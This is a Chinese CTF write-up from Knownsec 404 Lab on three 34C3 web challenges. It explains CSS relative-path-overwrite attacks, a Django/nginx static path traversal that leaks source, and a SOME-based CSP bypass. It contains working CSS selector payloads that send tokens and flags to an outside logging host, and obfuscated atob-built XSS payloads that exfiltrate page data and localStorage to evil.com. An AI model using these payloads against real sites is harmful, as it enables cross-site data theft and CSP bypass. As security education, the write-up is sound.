作者:LoRexxar'@知道創宇404實驗室
34c3應該算是2017年年末的最后一個驚喜了,比賽題目雖然有非預期導致難度降了很多,但是從CTF中能學到什么才是最重要的,其中Web有3個XSS題目,思路非常有趣,這里整理了一下分享給大家。
urlstorage
初做這題目的時候感覺又很多問題,本以為最后使用的方法是正解,沒想到的是非預期做法,忽略了題目本身的思路,拋開非預期不管,題目本身是一道非常不錯的題目,用了css rpo來獲取頁面的敏感內容。
CSS RPO
首先我們需要先解釋一下什么是CSS RPO,RPO 全稱Relative Path Overwrite,主要是利用瀏覽器的一些特性和部分服務端的配置差異導致的漏洞,通過一些技巧,我們可以通過相對路徑來引入其他的資源文件,以至于達成我們想要的目的。
先放幾篇文章
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/
這里就不專門講述RPO的種種攻擊方式,這里只討論CSS RPO,讓我們接著看看題目。
Writeup
回到題目。
整個題目站點是django寫的,然后前臺用nginx做了一層反代。

然后整站帶有CSP
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';
站點內主要有幾個功能,每次登陸都會生成獨立的token,/urlstorage頁面可以儲存一個url鏈接,/flag頁面會顯示自己的token和flag(根據token生成)
仔細研究不難發現一些其他的條件。
- flag頁面只接受token的前64位,而token則是截取了token的前32位做了判斷,在token后我們可以加入32位任意字符。
- flag頁面有title xss,只要閉合
</title>就可以構造xss,雖然位數不足,我們沒辦法執行任何js。 - urlstorage頁面存在csrf,我們可以通過讓服務端點擊我們的鏈接來修改任意修改url
但是,很顯然,這些條件其實并不夠足以獲取到服務端的flag。
但題目中永遠不會出現無意義的信息,比如urlstorage頁面,在剛才的討論中,urlstorage頁面中修改儲存url的功能可以說毫無意義,這時候就要提到剛才說的RPO了。
首先整個站點是django寫的,所有頁面都是通過路由表實現的,所以無論我們在后面加入什么樣的鏈接,返回頁面都是和urlstorage一樣的
http://35.198.114.228/urlstorage/random_str/1321321421
-->
http://35.198.114.228/urlstorage
看上去好像沒什么問題,但是頁面內的靜態資源是通過相對路徑引入的。

因為我們修改了根url,所以css的引入url變成了

我們把當前頁面當做成css樣式表引入到了頁面內。
這里我們可以通過設置url來向頁面中加入一些可以控制的頁面內容。
這里涉及到一個小技巧: CSS在加載的時候與JS一樣是逐行解析的,不同的是CSS會忽略頁面中不符合CSS語法的行
也就是說如果我們設置url為%0a{}%0a*{color:red}
那么頁面內容會變成

當引入CSS逐行解析的時候,color:red就會被解析

通過設置可控的css,我們就可以使用一個非常特別的攻擊思路。
我曾經在講述CSP的博客中提到了這種攻擊思路,通過CSS選擇器來讀取頁面內容 https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass
a[href^=flag\?token\=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag\?token\=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
..
a[href^=flag\?token\=f]{background: url(//l4w.io/rpo/logging.php?c=f);}
當匹配a標簽的href屬性中token開頭符合的時候,就會自動向遠程發送請求加載圖片,服務端接收到請求,就代表著匹配成功了,這樣的請求我們可以重復多次,就能獲取到admin的token了。
這里有個小細節,服務端每次訪問都會重新登陸一次,每次重新登陸都會刷新token,所以題目在contact頁面還給出了一個腳本pow.py,通過這個腳本,服務端會有30s時間來訪問我們的所有url,這樣我們就有足夠的時間拿到服務端的token。
但是問題來了,我們仍然沒辦法獲取到flag頁面的flag。
這里需要一個新的技巧。
在瀏覽器處理相對路徑時,一般情況是獲取當前url的最后一個/前作為base url,但是如果頁面中給出了base標簽,那么就會讀取base標簽中的url作為base url。
那么,既然flag頁面的token參數,我們有24位可控,那么我們完全可以引入/urlstorage作為base標簽,這樣CSS仍然會加載urlstorage頁面內容,我們就可以繼續使用CSS RPO來獲取頁面內容。
這里還有個小坑
當我們試圖使用下面的payload來獲取flag時
#flag[value^=34C3]{background: url(https://xxx?34c3);}
字符串首位的3不會被識別為字符串,必須使用雙引號包裹才能正常解析。但是雙引號被轉義了。
這里我們需要換用*
*號選擇器代表這屬性中包含這個字段,由于flag中有_存在,所以不會對flag的獲取有影響
payload如下
#flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
..
#flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
完全的payload我就不專門寫了,理解題目的思路比較重要。
整個題目的利用鏈非常精巧,服務端bot比我想象中要強大很多,有趣的是,整個題目存在配置的非預期,我一度認為非預期解法是正解。
非預期
以前在pwnhub第二期中曾經接觸到過一個知識點,django的靜態資源路由(static)本身就是通過映射靜態資源目錄實現的,當django使用nginx做反代時,如果nginx配置出現問題,那么就有可能存在導致源碼泄露的漏洞。34c3的所有django的web題目都有這個漏洞。
當我們訪問
http://35.198.114.228/static../views.py
就可以獲取到源碼,讓我們鎖定flag頁面的源碼
@login_required
def flag(req):
user_token = req.GET.get("token")
if not user_token:
messages.add_message(req, messages.ERROR, 'no token provided')
return redirect('index')
user_flag = "34C3_"+hashlib.sha1("foqweqdzq%s".format(user_token).encode("utf-8")).hexdigest()
return render(req, 'flag.html', dict(user=req.user,
valid_token=user_token.startswith(req.user.profile.token),
user_flag=user_flag,
user_token=user_token[:64],))
我們可以看到user_flag是通過token生成的,而token是登陸時隨機生成的
def login(req):
if req.user.is_authenticated:
return redirect('index')
if req.method == "POST":
username = req.POST.get("username")
password = req.POST.get("password")
if not username or not password:
messages.add_message(req, messages.ERROR, 'No username/password provided')
elif len(password) < 8:
messages.add_message(req, messages.ERROR, 'Password length min 8.')
else:
user, created = User.objects.get_or_create(username=username)
if created:
user.set_password(password)
user.save()
user = auth.authenticate(username=username, password=password)
if user:
user.profile.token = binascii.hexlify(os.urandom(16)).decode()
user.save()
auth.login(req, user)
return redirect('index')
else:
messages.add_message(req, messages.ERROR, 'Invalid password')
return render(req, 'login.html')
return render(req, 'login.html')
所以不難想象到,如果admin的flag也隨機生成,那flag就不固定了,所以admin的flag一定是寫死在模板里的。

很容易就拿到了flag。
superblog
這道題目做起來沒有urlstorage有趣,比賽途中我的思路也是卡在了如何執行我想要的js語句,因為符號的限制,讓很多Bypass CSP的思路都斷了,這里感謝@超威藍貓的wp提到的繞過思路,比起外國友人的強行xuerao繞過濾來說,思路更有趣,值得學習。
第一種思路
下面的思路部分來自于 https://blog.cal1.cn/post/34C3%20CTF%20web%20writeup
有趣的是,這道題目也是用django寫的,也是用了nginx做反代,于是源碼再一次泄露了,通過源碼我們可以簡化很多思路。
在分析源碼之前,我們可以簡單的從黑盒的角度看看題目的各種信息。
1、首先從feed頁面可以發現,django 1.11.8 開啟了debug
然后我們可以拿到路由表
^$ [name='index']
^post/(?P<postid>[^/]+)$ [name='post']
^flag1$ [name='flag1']
^flag2$ [name='flag2']
^flag_api$ [name='flag_api']
^publish$ [name='publish']
^feed$ [name='feed']
^contact$ [name='contact']
^login/$ [name='login']
^logout/$ [name='logout']
^signup/$ [name='signup']
^static\/(?P<path>.*)$
同時還會泄露部分源碼,可以發現flag1和flag2的獲取方式分別為
- admin賬號訪問flag1就可以得到flag1
- flag2需要向flag_api發送請求
2、feed有一個type參數可以指定json、jsonp的返回類型,同時還接受cb參數,cb中有很多很多過濾,但是可以被繞過
<script src=’/feed?type=jsonp&cb=alert`a`;’ ></script>
3、頁面中有比較嚴格的CSP
default-src 'none'; base-uri 'none'; frame-ancestors 'none'; connect-src 'self'; img-src 'self'; style-src 'self' https://fonts.googleapis.com/; font-src 'self' https://fonts.gstatic.com/s/materialicons/; form-action 'self'; script-src 'self';
4、content沒有任何轉義,存在XSS漏洞
5、bot訪問的是本地的django,而不是nginx
superblog1 + superblog2 information
When submitting a post ID to the admin, he will visit the URL http://localhost:1342/post/<postID>.
He uses a headless Google Chrome, version 63.0.3239.108.
其實題目不需要完整源碼,我們仍然可以想到差不多的思路,這里我們再從源碼的角度分析一下,便于理解。
views.py
import re
import json
import traceback
import random
from django.http import HttpResponse
from django.shortcuts import redirect, render
from django.template import loader
from django.views.decorators.http import require_safe, require_POST
from django.contrib.auth.decorators import user_passes_test
from django.core.exceptions import PermissionDenied
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django.contrib import messages
import models
from random import SystemRandom
def get_user_posts(user):
if not user.is_authenticated:
return []
else:
return models.Post.objects.filter(author=user).all()
gen = SystemRandom()
def generate_captcha(req):
n = 2
d = 8
ops = '+'
while True:
nums = [gen.randint(10**(d-1), 10**d-1) for _ in range(n)]
ops = [gen.choice(ops) for _ in range(n-1)]
captcha = ' '.join('%s %s' % a for a in zip(nums,ops+[1]))[:-2]
answer = eval(captcha)
if -2**31 + 10 <= answer <= 2**31-10:
break
# print 'Captcha:', captcha
req.session['captcha'] = captcha
req.session['captcha_answer'] = str(eval(captcha))
if random.random() < 0.003:
req.session['captcha'] = r'(__import__("sys").stdout.write("I WILL NOT RUN UNTRUSTED CODE FROM THE INTERNET\n"*1337), %s)[1]'%req.session['captcha']
return req.session.get('captcha')
def check_captcha(req):
res = req.POST.get('captcha_answer') == req.session.get('captcha_answer')
# if not res:
# print 'Captcha failed:', req.POST.get('captcha_answer'), req.session.get('captcha_answer')
return res
@require_safe
def index(req):
if not req.user.is_authenticated:
return redirect('login')
return render(req, 'blog/index.html', {
'posts': get_user_posts(req.user),
'captcha': generate_captcha(req),
})
@require_safe
def post(req, postid):
post = models.Post.objects.get(secretid=postid)
return render(req, 'blog/post.html', {
'post': post,
'captcha': generate_captcha(req),
})
def contact(req):
if req.method == 'POST':
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('contact')
postid = req.POST.get('postid')
valid = False
try:
models.Post.objects.filter(secretid=postid).get()
valid = True
except:
traceback.print_exc()
if not valid:
messages.add_message(req, messages.ERROR,
'That does not look like a valid post ID')
return redirect('contact')
url = 'http://localhost:1342/post/' + postid
models.Feedback(url=url).save()
messages.add_message(req, messages.INFO,
'Thank you for your feedback, an admin will look at it ASAP')
return redirect('index')
else:
feedback_count = models.Feedback.objects.filter(visited=False).count()
return render(req, 'blog/contact.html', {
'feedback_count': feedback_count,
'captcha': generate_captcha(req),
})
def signup(req):
if req.method == 'POST':
form = UserCreationForm(req.POST)
if form.is_valid():
form.save()
username = form.cleaned_data.get('username')
raw_password = form.cleaned_data.get('password1')
user = authenticate(username=username, password=raw_password)
login(req, user)
return redirect('index')
else:
form = UserCreationForm()
return render(req, 'blog/signup.html', {'form': form})
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp
@require_POST
def publish(req):
if req.user.username == 'admin':
messages.add_message(req, messages.INFO,
'Sorry but admin cannot post for security reasons')
return redirect('/')
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('/')
models.Post(author=req.user,
content=req.POST.get('post'),
title=req.POST.get('title')).save()
return redirect('/')
@require_POST
def flag_api(req):
if not check_captcha(req):
raise PermissionDenied
resp = HttpResponse(json.dumps(get_flag(req, 2)))
resp['Content-Type'] = 'application/json; charset=utf-8'
return resp
@require_safe
def flag1(req):
return render(req, 'blog/flag1.html', {'flag': get_flag(req, 1)})
@require_safe
def flag2(req):
return render(req, 'blog/flag2.html', {'captcha': generate_captcha(req)})
1、flag獲取首先有一個前置條件
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'
后一個條件由于經過nginx反代,所以沒什么用,主要問題是前一個。
req.user.username并不是通過django本身的session設置的,所以即使我們獲取到settings中的SECRET_KEY也沒有意義,也就是說,我們只能通過bot獲取flag。
2、feed頁面存在jsonp接口,但是有大把多過濾,忽略了能用上的`{}.$這幾個
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp
3、整站的返回頭是通過django middleware 添加,但是static目錄是直接通過nginx處理的,所以沒有CSP頭
題目思路完整了,我們就需要構造可以利用的攻擊鏈
無論我們怎么獲取flag,我們都需要通過操作static頁面來執行js傳出,否則就會被CSP攔截,所以我們必須通過多個頁面來相互操作修改頁面,才能實現我們的需求。
這里需要用到一個在HCTF2017中提到過的攻擊方式,叫做SOME.
關于SOME的細節可以看以前的博客 https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/
這里就不細講了,通過SOME,我們可以通過執行js來操作另一個頁面中的dom
執行流程大致如下
1、打開頁面,通過a標簽的的click來實現頁面的跳轉,跳轉至localhost(nginx)下
<a id="aa" href="http://localhost/post/{post1}"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,console.log"></script>
2、先拿flag1,兩次點擊,一個打開flag1頁面,一個跳轉到下一個js頁面
<a id="aa" href="{post2}" target="_blank"></a>
<a id="bb" href="/flag1"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
3、通過兩次點擊,打開一個static目錄的頁面,然后跳轉到下一個js執行的頁面
<a id="aa" href="{post3}" target="_blank"></a>
<a id="bb" href="/static/"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
4、通過向static頁面寫入外部js來執行任意js代碼,為了更好的處理,payload可以寫入標題,寫入代碼可以寫在內容里。
標題:<script src="http://xxxxx/evil.js"></script>
內容:<script src="/feed?type=jsonp&cb=opener.document.write`${document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.innerText}`,console.log"></script>
接下來就是隨意開火了,因為evil.js里沒有任何限制,你可以做任何需要的操作。
一個完整的利用鏈就形成了
有趣的是,這個題目是可以強行繞waf來執行js的。
另一種解法
在ctftime的writeup區域,看到了一種強行繞過waf的解法
https://gist.github.com/cgvwzq/2d875cb4bd752a99ca239e6ffe64f849
上面曾經提到過,關于符號的過濾,遺留下了幾個特別的還能利用的字符`{}.$,沒想到的是,通過這幾個字符,可以強行構造可執行的js
<!-- superblog 1 - flag: 34C3_so_y0u_w3nt_4nd_learned_SOME_javascript_g00d_f0r_y0u -->
<script>
document.write`${Array.call`${atob`PA`}${`l`}${`i`}${`n`}${`k`}${atob`IA`}${`r`}${`e`}${`l`}${atob`PQ`}${atob`Ig`}${`p`}${`r`}${`e`}${`f`}${`e`}${`t`}${`c`}${`h`}${atob`Ig`}${atob`IA`}${`h`}${`r`}${`e`}${`f`}${atob`PQ`}${atob`Ig`}${`h`}${`t`}${`t`}${`p`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}${escape.call`${document.getElementsByTagName`link`.item``.import.body.innerText}`}${atob`Ig`}${atob`Pg`}`.join``}`,
</script>
<!-- superblog 2 - flag: 34C3_h3ncef0rth_peopl3_sh4ll_refer_t0_y0u_only_4s_th3_ES6+DOM_guru -->
<script>
document.write`${foo.import.body.innerHTML}`,document.write`${Array`${atob`PA`}${`input`}${atob`IA`}${`form`}${atob`PQ`}${`flagform`}${atob`IA`}${`name`}${atob`PQ`}${`captcha_answer`}${atob`IA`}${`x`}${atob`PQ`}${atob`Ig`}`.join``}${atob`Ig`}${`value`}${atob`PQ`}${parseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.shift``}`%2bparseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.pop``}`}${atob`Pg`}`,document.write`${atob`PA`}${`script`}${atob`IA`}${`src`}${atob`PQ`}${atob`Lw`}${`feed`}${atob`Pw`}${`type`}${atob`PQ`}${`jsonp`}${atob`Jq`}${`cb`}${atob`PQ`}${`flagform.lastElementChild.click`}${atob`YA`}${atob`YA`}${`,document.write${atob`YA`}${atob`JA`}${`{localStorage.getItem`}${atob`YA`}${`$`}${`{`}${atob`YA`}${atob`YA`}${`}`}${atob`YA`}${`}`}${`$`}${`{flag.innerText}`}${atob`YA`}${`,`}${atob`Pg`}${atob`PA`}${atob`Lw`}${`script`}${atob`Pg`}`}`,localStorage.setItem`${Array.call`}${atob`PA`}${`link`}${atob`IA`}${`rel`}${atob`PQ`}${atob`Ig`}${`prefetch`}${atob`Ig`}${atob`IA`}${`href`}${atob`PQ`}${`http`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}`.join``}`,
</script>
其中所有的敏感符號通過解base64獲得,然后寫入頁面內執行
最后通過
<link rel="prefetch" href="xxxxx.xx">
把數據傳出...
ref
- RPO: http://www.thespanner.co.uk/2014/03/21/rpo/
- CSS RPO: http://www.zjicmisa.org/index.php/archives/127/
- CSS RPO+XSS: https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass
- 藍貓師傅的博客: https://blog.cal1.cn/post/34C3%20CTF%20web%20writeup
- SOME: https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/493/
暫無評論